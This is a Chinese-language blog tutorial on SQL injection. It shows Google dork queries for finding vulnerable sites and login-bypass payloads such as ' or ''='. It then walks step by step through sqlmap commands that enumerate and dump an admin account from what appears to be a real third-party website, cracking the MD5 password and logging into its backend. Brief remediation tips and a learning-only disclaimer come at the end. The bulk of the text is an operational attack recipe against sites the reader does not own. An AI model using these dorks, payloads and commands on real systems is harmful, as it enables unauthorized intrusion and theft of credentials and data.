SQL漏洞注入,如何SQL漏洞注入

现在的网站都懂得自我保护,而有了基本的资安技术,防止了大多的骇客攻击,不过目前的网站很多仍有SQLinjection的漏洞

SQLinjection的漏洞是一个很严重的漏洞,不过在OWASP统计中,仍属于多数的漏洞。如果大家有自己的网站,不妨能看看自己有没有这个漏洞。

以SQLMap做为我们今天的工具,是在Linux作业系统底下的工具。

若未安装,请在terminal输入

apt-get install sqlmap

来进行下载,或用

apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

来下载python档,如果无法下载请用sudo下载。

 

SQLMap是能够用来测试及利用SQLinjection漏洞的强大工具,当系统存在SQLinjection漏洞时,可以利用SQLMap取得机敏资料,进行渗透测试

主要目的式取得最高权限的帐号及密码,可以利用SQLMap直接对资料库系统进行攻击。

首先,我们可以利用Google方便的搜寻指令来搜寻可能有SQLinjection漏洞的网站,大多有此漏洞的网站通常网址会有php?id=xxx
所以利用Google的搜寻指令inurl能够直接搜寻网址。
例如
inurl:php?id=
inurl:asp?id=
等等
因为SQLMap实际使用起来需要几​​分钟的时间,如果每个网站都测试会浪费很多时间,我们可以用手动来看是否有此漏洞。
例如网址为
http://www.123.com/index.php?id=1(此为举例网址)
可以手动改为
http://www.123.com/index.php?id=1′
在php?id=1后方加入’
接着Enter进入,若网站显示错误讯息或是显示Error in SQL等等,有SQLinjection漏洞的机率会因此增加,在进一步使用SQLMap测试
p.s也有可能没有显试错误也有此漏洞的网站
或是用OWASP漏洞搜寻工具来找网站漏洞,也能够在此找到管理员的登入点
<管理员登入点很重要,之后在渗透成功后得到的管理员帐号密码要再登入点输入>
如果搜寻漏洞搜寻久了,会发现很多网站的管理员登入点通常都一致
http://www.123.com/index.php?id=1(此为举例网址)
通常管理员登入点都会放在
http://www.123.com/admin
http://www.123.com/login_admin
等等的,通常会有admin,如果不想等OWASP搜寻的话可以手动搜寻看看,或是使用admin finder等等的工具
如果找到管理员登入点的时候可以先尝试利用手动SQLinjection
在Username和Password打上’or”=’或者一些SQL过略的语法,例如
‘) or true–
” or 1–
‘)) or true–
等等的
原本的SQL语法是
select username,pass from users where username=’$uname’ and password=’$passwrd’ limit 0,1″;

如果输入过略的语法后会变成
select username,pass from users where username=” or ”=” and password=” or ”=” limit 0,1;

懂SQL的人应该就会知道注入后会产生的结果了,打入’or”=’的意思是由于or的意思是只要有一个条件为True整个条件就会变为True
因此不需要输入帐号密码也能够让SQL认为这是正确的帐号密码而进入后台。

 

此時系統內的SQL會執行

strSQL = "SELECT * FROM users;"

接着进入正题,以SQLMap开始渗透测试 以下用Terminal来进行指令执行, SQLMap指令非常多,下面只用等会用到的几种来举例


-u                      指定要扫描的网页网址,若网址有空白,须使用” “刮起来

–dbs                列出资料库系统上的资料库

–tables           当获得Database后可以用此指令列出资料库中的资料表

–columns     列出资料表中的资料栏位

–dump          倾印出资料库中的所有资料表或特定资料表中的所有资料


 

以上的指令等等都会用到,还有更多指令可以至SQLMap Wiki查看
现在我们来实做看看

2016-09-21_175841

 

我们直接尝试进入网站的资料库

sqlmap -u URL –dbs

 

2016-09-21_175935

 

之后SQLMap就会尝试利用各种语法去侦测并注入

 

2016-09-21_180304

 

成功后,会得到网站的Database,当然其他网站不一定只有两个,我只把我们用到的Database给显示出来

 

2016-09-21_200426

 

接着,我们针对qzyey这个Database进行资料表的查询

sqlmap -u URL -D qzyey –tables

把原本的dbs取前面的字母,并改成大写D

 

2016-09-21_201420

 

我们可以看到qzyey中的资料表,选一个比较敏感的资料表下去查询他的资料栏位,这边共有22个资料表 我们选择有admin的资料表,一般来说admin资料表都会放管理员的东西

2016-09-21_201452

 

选择admin的资料表下去查询,当然也有可能找不到需要的东西,这时候就要再换个资料表查询,甚至换个Database查询

sqlmap -u URL -D qzyey -T t_admin –columns

把刚刚的tables的首选字母大写,接着把t_admin这个资料表查询他的资料栏位

2016-09-21_202316

 

可以看到t_admin这个资料表里面的资料栏位,共有7个资料栏位,一样查询敏感资料,我们看username和pwd

*pwd顾名思义password

 

2016-09-21_210136

 

我们将username这个资料栏位中的资料dump出来

sqlmap -u URL -D qzyey -T t_admin -C username –dump

一样将columns取第一个C

 

2016-09-21_210602

 

可以看到这个资料栏位中管理员的帐号是admin 接着我们查询pwd这栏

 

2016-09-21_212927

 

可以看到他的password加密过了,推算出是用MD5加密的,解密后密码为123456 回到最初的网站管理员登入点,打上刚刚的username和password,分别为admin和123456,就能够成功进入网站后台

在这里整理一下指令码

sqlmap -u URL –dbs

sqlmap -u URL -D Database –tables

sqlmap -u URL -D Database -T Tables –columns

sqlmap -u URL -D Database -T Tables -C Columns –dump

各位可以测试自己的网站看看,看过教程后就知道这个漏洞很严重了,如果各位的网站有此漏洞建议以下修复:

  • 将程式改为Parameterized Query来设计资料存取
  • 将传入的参数改为字元取代 ex:将单引号改为连续两个单引号
  • 若网页使用PHP可开启Magic quote功能
  • 直接使用SQL防资料隐码系统

 

 

以上教程只提供于学习,这一切黑客技术不能被用来做一些非法的,该网站是绝不需要承担责任。

更多讨论在点我进入